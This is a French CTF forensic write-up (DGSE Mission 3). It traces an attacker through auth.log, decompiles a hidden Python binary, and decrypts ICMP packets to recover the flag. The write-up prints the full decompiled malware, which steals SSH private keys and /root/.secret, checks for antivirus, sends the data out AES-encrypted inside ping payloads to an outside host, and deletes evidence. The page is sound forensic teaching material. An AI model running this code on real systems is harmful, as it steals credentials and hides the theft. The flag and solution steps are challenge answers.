Post

DGSE CTF - Mission 3 (Forensic)

DGSE CTF - Mission 3 (Forensic)

🔍 Reconnaissance

J’ai commencĂ© par analyser la VM avec Autopsy, on dĂ©couvre dans home un rĂ©pertoire tempuser dans lequel il n’y a pas grand chose d’intĂ©rĂ©ssant et un rĂ©pertoire johndoe.

Dans le rĂ©pertoire de l’utilisateur johndoe, on constate que le fichier .bash_history a Ă©tĂ© supprimĂ©, probablement par l’attaquant dans le but de dissimuler ses activitĂ©s. On remarque cependant le fichier .sudo_as_admin_successful. Ce fichier est créé automatiquement lors de la premiĂšre exĂ©cution rĂ©ussie de sudo par l’utilisateur, ce qui indique qu’une Ă©lĂ©vation de privilĂšges a eu lieu.

đŸšȘ Piste de l’élĂ©vation de privilĂšges

Si une Ă©lĂ©vation de privilĂšges Ă  bien eu lieu, il serait intĂ©rĂ©ssant d’analyser le fichier /var/log/auth.log. Voici son contenu :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
2025-03-25T04:51:12.096804-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T04:51:12.102069-04:00 UXWS112 sudo:  johndoe : TTY=pts/0 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/systemctl start auditd rsyslog
2025-03-25T04:51:12.102430-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T04:51:12.143940-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T04:51:19.669845-04:00 UXWS112 sshd[1758]: Accepted password for johndoe from 192.168.1.10 port 37772 ssh2
2025-03-25T04:51:19.670782-04:00 UXWS112 sshd[1758]: pam_unix(sshd:session): session opened for user johndoe(uid=1000) by (uid=0)
2025-03-25T04:51:19.675023-04:00 UXWS112 systemd-logind[901]: New session 4 of user johndoe.
2025-03-25T04:51:19.719430-04:00 UXWS112 sshd[1758]: pam_env(sshd:session): deprecated reading of user environment enabled
2025-03-25T04:51:20.440593-04:00 UXWS112 sshd[1542]: Received disconnect from 192.168.1.10 port 48966:11: Bye Bye
2025-03-25T04:51:20.440727-04:00 UXWS112 sshd[1542]: Disconnected from user johndoe 192.168.1.10 port 48966
2025-03-25T04:51:20.441067-04:00 UXWS112 sshd[1497]: pam_unix(sshd:session): session closed for user johndoe
2025-03-25T04:51:20.444672-04:00 UXWS112 systemd-logind[901]: Session 2 logged out. Waiting for processes to exit.
2025-03-25T04:51:20.445707-04:00 UXWS112 systemd-logind[901]: Removed session 2.
2025-03-25T04:51:27.114047-04:00 UXWS112 sshd[1820]: Accepted password for johndoe from 192.168.1.10 port 40560 ssh2
2025-03-25T04:51:27.115083-04:00 UXWS112 sshd[1820]: pam_unix(sshd:session): session opened for user johndoe(uid=1000) by (uid=0)
2025-03-25T04:51:27.130451-04:00 UXWS112 systemd-logind[901]: New session 5 of user johndoe.
2025-03-25T04:51:27.148981-04:00 UXWS112 sshd[1820]: pam_env(sshd:session): deprecated reading of user environment enabled
2025-03-25T04:51:27.879309-04:00 UXWS112 sshd[1775]: Received disconnect from 192.168.1.10 port 37772:11: Bye Bye
2025-03-25T04:51:27.879401-04:00 UXWS112 sshd[1775]: Disconnected from user johndoe 192.168.1.10 port 37772
2025-03-25T04:51:27.879737-04:00 UXWS112 sshd[1758]: pam_unix(sshd:session): session closed for user johndoe
2025-03-25T04:51:27.883030-04:00 UXWS112 systemd-logind[901]: Session 4 logged out. Waiting for processes to exit.
2025-03-25T04:51:27.884422-04:00 UXWS112 systemd-logind[901]: Removed session 4.
2025-03-25T09:01:01.601901-04:00 UXWS112 sshd[2048]: Accepted password for johndoe from 192.168.1.10 port 55494 ssh2
2025-03-25T09:01:01.605067-04:00 UXWS112 sshd[2048]: pam_unix(sshd:session): session opened for user johndoe(uid=1000) by (uid=0)
2025-03-25T09:01:01.628002-04:00 UXWS112 systemd-logind[901]: New session 6 of user johndoe.
2025-03-25T09:01:01.696536-04:00 UXWS112 sshd[2048]: pam_env(sshd:session): deprecated reading of user environment enabled
2025-03-25T09:01:37.642413-04:00 UXWS112 sudo:  johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/apt update
2025-03-25T09:01:37.648390-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:01:40.748027-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:03:02.402592-04:00 UXWS112 sudo:  johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/systemctl status ssh
2025-03-25T09:03:02.405054-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:03:02.437736-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:00.950614-04:00 UXWS112 sudo:  johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/sbin/adduser tempuser --disabled-password --gecos 
2025-03-25T09:04:00.952504-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:01.148241-04:00 UXWS112 groupadd[2458]: group added to /etc/group: name=tempuser, GID=1001
2025-03-25T09:04:01.155468-04:00 UXWS112 groupadd[2458]: group added to /etc/gshadow: name=tempuser
2025-03-25T09:04:01.159213-04:00 UXWS112 groupadd[2458]: new group: name=tempuser, GID=1001
2025-03-25T09:04:01.206081-04:00 UXWS112 useradd[2464]: new user: name=tempuser, UID=1001, GID=1001, home=/home/tempuser, shell=/bin/bash, from=/dev/pts/2
2025-03-25T09:04:01.288348-04:00 UXWS112 chfn[2473]: changed user 'tempuser' information
2025-03-25T09:04:01.324414-04:00 UXWS112 gpasswd[2479]: members of group users set by root to johndoe,tempuser
2025-03-25T09:04:01.332703-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:03.351988-04:00 UXWS112 sudo:  johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/sbin/deluser tempuser
2025-03-25T09:04:03.353911-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:03.574062-04:00 UXWS112 userdel[2492]: delete user 'tempuser'
2025-03-25T09:04:03.574346-04:00 UXWS112 userdel[2492]: delete 'tempuser' from group 'users'
2025-03-25T09:04:03.576685-04:00 UXWS112 userdel[2492]: removed group 'tempuser' owned by 'tempuser'
2025-03-25T09:04:03.577361-04:00 UXWS112 userdel[2492]: removed shadow group 'tempuser' owned by 'tempuser'
2025-03-25T09:04:03.577741-04:00 UXWS112 userdel[2492]: delete 'tempuser' from shadow group 'users'
2025-03-25T09:04:03.632961-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:20.750996-04:00 UXWS112 sudo:  johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/ls /root/.secret
2025-03-25T09:04:20.752761-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:20.759607-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:28.498473-04:00 UXWS112 sudo:  johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/bash
2025-03-25T09:04:28.500224-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:31.057471-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:31.069701-04:00 UXWS112 sudo:     root : PWD=/home/johndoe ; USER=root ; ENV=PYTHONPATH=/home/johndoe/.local/lib/python3.7/site-packages ; COMMAND=/usr/local/bin/python3.7 /opt/fJQsJUNS/.sys
2025-03-25T09:04:31.070323-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:04:35.113119-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:50.681923-04:00 UXWS112 sudo:  johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/ls /root/.secret
2025-03-25T09:04:50.683011-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:50.689732-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:05:01.436814-04:00 UXWS112 CRON[3245]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.463177-04:00 UXWS112 CRON[3244]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.464473-04:00 UXWS112 CRON[3243]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.464784-04:00 UXWS112 CRON[3246]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.465081-04:00 UXWS112 CRON[3247]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.465871-04:00 UXWS112 CRON[3245]: pam_unix(cron:session): session closed for user root
2025-03-25T09:05:01.466229-04:00 UXWS112 CRON[3244]: pam_unix(cron:session): session closed for user root
2025-03-25T09:05:01.466732-04:00 UXWS112 CRON[3247]: pam_unix(cron:session): session closed for user root
2025-03-25T09:05:01.467042-04:00 UXWS112 CRON[3243]: pam_unix(cron:session): session closed for user root
2025-03-25T09:05:01.467235-04:00 UXWS112 CRON[3246]: pam_unix(cron:session): session closed for user root
2025-03-28T09:56:55.767246-04:00 UXWS112 polkitd[899]: Loading rules from directory /etc/polkit-1/rules.d
2025-03-28T09:56:55.768053-04:00 UXWS112 polkitd[899]: Loading rules from directory /usr/share/polkit-1/rules.d
2025-03-28T09:56:55.804605-04:00 UXWS112 polkitd[899]: Finished loading, compiling and executing 11 rules
2025-03-28T09:56:55.806400-04:00 UXWS112 polkitd[899]: Acquired the name org.freedesktop.PolicyKit1 on the system bus
2025-03-28T09:56:55.828275-04:00 UXWS112 systemd-logind[903]: New seat seat0.
2025-03-28T09:56:55.829958-04:00 UXWS112 systemd-logind[903]: Watching system buttons on /dev/input/event1 (Power Button)
2025-03-28T09:56:55.830020-04:00 UXWS112 systemd-logind[903]: Watching system buttons on /dev/input/event0 (AT Translated Set 2 keyboard)

Dans ces logs on voit que johndoe Ă  :

  • crĂ©e puis supprimĂ© tempuser
  • listĂ© le contenu de /root/.secret
  • lancĂ© un fichier avec python /opt/fJQsJUNS/.sys

Intéréssons nous à ce dernier fichier :

Desktop View Fichier /opt/fJQsJUNS/.sys

A premiĂšre vue, ce fichier semble ĂȘtre un fichier python compilĂ© (pyc) dans lequel on apercoit des rĂ©fĂ©rences Ă  b64decode ou bien encore Ă  la librairie Crypto.Cipherr. Il semble aussi contenir des chemins de fichiers sensibles comme /root/.secretz, ~/.ssh/id_rsaz et /root/.ssh/id_rsa. Ce fichier trĂšs suspect semble avoir Ă©tĂ© compilĂ© depuis le fichier nightshade.py.

⚙ Analyse du fichier python compilĂ©

On extrait depuis Autopsy le fichier .sys qu’on renomme en nightshade.pyc puis on decompile ce fichier :

1
$ decompyle3 -o . nightshade.pyc

voici le fichier nightshade.py décompilé :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# decompyle3 version 3.9.2
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.10.11 (main, Apr 14 2025, 20:58:05) [GCC 14.2.0]
# Embedded file name: nightshade.py
# Compiled at: 2025-03-24 16:04:51
# Size of source mod 2**32: 2358 bytes
import os, subprocess, psutil, base64
from Crypto.Cipher import AES
__k = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
__v = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")
__d = "37e0f8f92c71f1c3f047f43c13725ef1"

def __b64d(s):
    return base64.b64decode(s.encode()).decode()


def __p(x):
    return x + bytes([16 - len(x) % 16]) * (16 - len(x) % 16)


def __u(x):
    return x[:-x[-1]]


def __x(h):
    c = AES.new(__k, AES.MODE_CBC, __v)
    return __u(c.decrypt(bytes.fromhex(h))).decode()


def __y(s):
    c = AES.new(__k, AES.MODE_CBC, __v)
    return c.encrypt(__p(s.encode())).hex()


def __chk_vm():
    return False


def __chk_av():
    targets = [
     b'Y2xhbWQ=',b'YXZnZA==',b'c29waG9z',b'RVNFVA==',b'cmtodW50ZXI=']
    try:
        for p in psutil.process_iter(attrs=["name"]):
            n = (p.info["name"] or "").lower()
            for b64av in targets:
                if base64.b64decode(b64av).decode().lower() in n:
                    print("ERR AV")
                    return True

    except:
        pass

    return False


def __exf(path, dst, size=15):
    if not os.path.exists(path):
        return False
    d = open(path, "rb").read()
    segs = [d[i:i + size] for i in range(0, len(d), size)]
    for seg in segs:
        try:
            payload = AES.new(__k, AES.MODE_CBC, __v).encrypt(__p(seg)).hex()
            cmd = [__b64d("cGluZw=="), __b64d("LWM="), __b64d("MQ=="), __b64d("LXA="), payload, dst]
            subprocess.run(cmd, stdout=(subprocess.DEVNULL), stderr=(subprocess.DEVNULL))
        except:
            continue

    return True


def __main():
    if __chk_vm():
        return
    if __chk_av():
        return
    __kll = [
     "/root/.secret",
     os.path.expanduser("~/.ssh/id_rsa"),
     "/root/.ssh/id_rsa"]
    for f in __kll:
        if os.path.exists(f):
            __exf(f, __x(__d))

    _kkoo = "/root/.secret"
    if os.path.exists(_kkoo):
        try:
            os.remove(_kkoo)
        except Exception as e:
            try:
                pass
            finally:
                e = None
                del e


if __name__ == "__main__":
    __main()

# okay decompiling /home/kali/Bureau/nightshade.pyc

Le script importe plusieurs modules (os, subprocess, psutil, base64, Crypto.Cipher.AES) et définit :

  • une clĂ© AES (__k),
  • un vecteur d’initialisation (__v),
  • une chaĂźne chiffrĂ©e (__d)

__b64d() décode une chaßne base64 en texte.

__p() et __u() sont des fonctions de padding/dépadding PKCS7 pour les blocs AES.

__x() déchiffre une chaßne hexadécimale avec AES CBC.

__y() chiffre une chaßne en AES CBC puis encode le résultat en hexadécimal.

__chk_av() semble détecter si des processus liés à des antivirus connus sont actifs.

La fonction la plus intĂ©rĂ©ssante est __exf(), cette fonction lit un fichier binaire, dĂ©coupe son contenu en segments de 15 octets, chiffre chaque segment en AES CBC, puis l’envoie Ă  distance via une commande ping (ICMP), dont les arguments sont construits Ă  partir de chaĂźnes encodĂ©es en base64 :

1
cmd = ["ping", "-c", "1", "-p", payload, destination]

Cela envoie les donnĂ©es chiffrĂ©es dans la payload des paquets ICMP vers l’IP cible.

Finalement la fonction principale __main()

  • Ignore l’exĂ©cution si une VM ou un antivirus est dĂ©tectĂ©.

  • Cherche Ă  exfiltrer les fichiers suivants (s’ils existent) :

    • /root/.secret

    • ~/.ssh/id_rsa (clĂ© privĂ©e SSH)

    • /root/.ssh/id_rsa

  • Ces fichiers sont transmis en paquets ICMP Ă  l’adresse dĂ©chiffrĂ©e depuis __d.

  • Enfin, si le fichier /root/.secret existe encore, il est supprimĂ©.

Puisque l’on a la clĂ© (__k), le vecteur d’initialisation (__v) et que l’on sait que le chiffrement utilisĂ© est AES en mode CBC avec du padding PKCS#7, on peut dĂ©chiffrer la variable __d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import AES

# Clé et IV extraits du script nightshade.py
key = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
iv = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")

# Donnée chiffrée (__d)
ciphertext = bytes.fromhex("37e0f8f92c71f1c3f047f43c13725ef1")

# Fonction de déchiffrement avec dépadding PKCS#7
def unpad(x):
    return x[:-x[-1]]

def decrypt_d(ciphertext):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    return unpad(plaintext).decode()

# Affichage de la donnée déchifrée
print(decrypt_d(ciphertext))

Et voici le résultat :

1
2
$ python3 decrypt.py 
vastation.null

Les données sont donc envoyées à vastation.null. En regardant dans le fichier /etc/hosts on voit que vastation.null est mappé localement à 192.168.1.10

Desktop View /etc/hosts

Ces informations vont nous permettre de mieux investiguer la capture rĂ©seau qu’on nous a fourni.

🌐 Analyse de la capture rĂ©seau

On va donc chercher dans la capture réseau les paquets ICMP envoyés vers 192.168.1.10 :

Desktop View capture réseau filtrée

Voici la premiÚre donnée dissimulée dans ces paquets ICMP :

1
a08508333fbef26b26cd9e17100edf59a08508333fbef26b26cd9e17100edf59a08508333fbef26b

Lors de l’analyse du script malveillant nightshade.py, on constate que les fichiers exfiltrĂ©s sont chiffrĂ©s par blocs de 15 octets, avec l’algorithme AES en mode CBC. Or, AES nĂ©cessite des blocs de 16 octets : chaque segment est donc complĂ©tĂ© (padding PKCS#7), puis chiffrĂ© en un bloc de 16 octets.

Ce bloc chiffré est ensuite encodé en hexadécimal : 16 octets = 32 caractÚres hexadécimaux

Ici la sĂ©quence a08508333fbef26b26cd9e17100edf59 (32 caractĂšres) est rĂ©pĂ©tĂ©e Ă  l’identique. Cela signifie que le mĂȘme bloc AES chiffrĂ© a Ă©tĂ© envoyĂ© plusieurs fois, probablement pour Ă©viter toute perte de donnĂ©es lors de la transmission ICMP.

Regardons ce que l’on obtient si on essaye de dĂ©chiffrer cette sĂ©quence :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import AES

# Clé et IV extraits du script nightshade.py
key = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
iv = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")

# Donnée du premier paquet ICMP
ciphertext = bytes.fromhex("a08508333fbef26b26cd9e17100edf59")

# Fonction de déchiffrement avec dépadding PKCS#7
def unpad(x):
    return x[:-x[-1]]

def decrypt_d(ciphertext):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    return unpad(plaintext).decode()

# Affichage de la donnée déchifrée
print(decrypt_d(ciphertext))
1
2
$ python3 decrypt.py
RM{986b8674b18e

On obtient ce qu’il semble ĂȘtre la premiĂšre partie du Flag ! Si on rĂ©pete l’operation sur les deux paquets suivants et qu’on concatĂšne les trois chaĂźnes nous obtenons notre Flag !

Flag : RM{986b8674b18e7f3c36b24cf8c8195b36bba01d61}

This post is licensed under CC BY 4.0 by the author.